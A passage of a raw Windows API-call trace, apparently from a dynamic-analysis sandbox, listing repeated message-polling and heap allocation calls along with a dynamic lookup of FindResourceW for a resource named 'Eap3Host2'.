lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.961] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.962] CharLowerBuffW (in: lpsz="ptr", cchLength=0x3 | out: lpsz="ptr") returned 0x3 [0131.962] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0131.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FindResourceW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0131.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FindResourceW", cchWideChar=14, lpMultiByteStr=0x1076b68, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FindResourceW", lpUsedDefaultChar=0x0) returned 14 [0131.962] GetProcAddress (hModule=0x770a0000, lpProcName="FindResourceW") returned 0x770c2a40 [0131.963] FindResourceW (hModule=0x0, lpName="Eap3Host2", lpType=0x8) returned 0x377698 [0131.963] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0131.963] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0131.963] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0131.963] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077048 | out: hHeap=0xe80000) returned 1 [0131.963] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.963] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0131.963] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e38 | out: hHeap=0xe80000) returned 1 [0131.963] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xedfbf8 | out: hHeap=0xe80000) returned 1 [0131.963] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ee0 | out: hHeap=0xe80000) returned 1 [0131.963] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ec8 | out: hHeap=0xe80000) returned 1 [0131.964] FreeLibrary (hLibModule=0x770a0000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1938 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf148 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d48 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d30 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d00 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b98 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0131.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1068278 | out: hHeap=0xe80000) returned 1 [0131.964] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.964] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076dd8 | out: hHeap=0xe80000) returned 1 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f88 | out: hHeap=0xe80000) returned 1 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bc8 | out: hHeap=0xe80000) returned 1 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107f3f8 | out: hHeap=0xe80000) returned 1 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0131.965] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.965] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0131.965] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0131.965] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0131.965] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b38 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0131.965] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0131.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0131.966] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0131.966] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0131.966] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.966] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.966] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1848 [0131.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076be0 [0131.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1a8 [0131.966] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0131.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec3020 [0131.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d48 [0131.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0131.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0131.966] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0131.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0131.966] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0131.967] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.967] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.967] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.967] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1870 [0131.967] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0131.967] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.967] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.967] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0131.967] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.967] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.967] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0131.967] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0131.967] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1870 | out: hHeap=0xe80000) returned 1 [0131.967] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b40 | out: hHeap=0xe80000) returned 1 [0131.968] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.968] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.968] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0131.968] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556f0 [0131.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556f0 | out: hHeap=0xe80000) returned 1 [0131.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.968] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10162c0 [0131.968] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10162c0 | out: hHeap=0xe80000) returned 1 [0131.968] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.968] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.968] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0131.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0131.969] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0131.969] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.969] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0131.969] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.969] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0131.969] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0131.969] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0131.969] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.969] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d00 [0131.969] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d00 | out: hHeap=0xe80000) returned 1 [0131.970] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.970] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0131.970] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0131.970] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0131.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0131.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0131.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.970] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f80 [0131.970] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0131.970] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.970] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.971] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1b8 [0131.971] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0131.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0131.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0131.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.971] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015cc0 [0131.971] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015cc0 | out: hHeap=0xe80000) returned 1 [0131.971] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.971] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0131.971] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.971] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055430 [0131.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055430 | out: hHeap=0xe80000) returned 1 [0131.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.971] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10160c0 [0131.971] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1910 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c28 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0131.972] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b38 [0131.972] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) 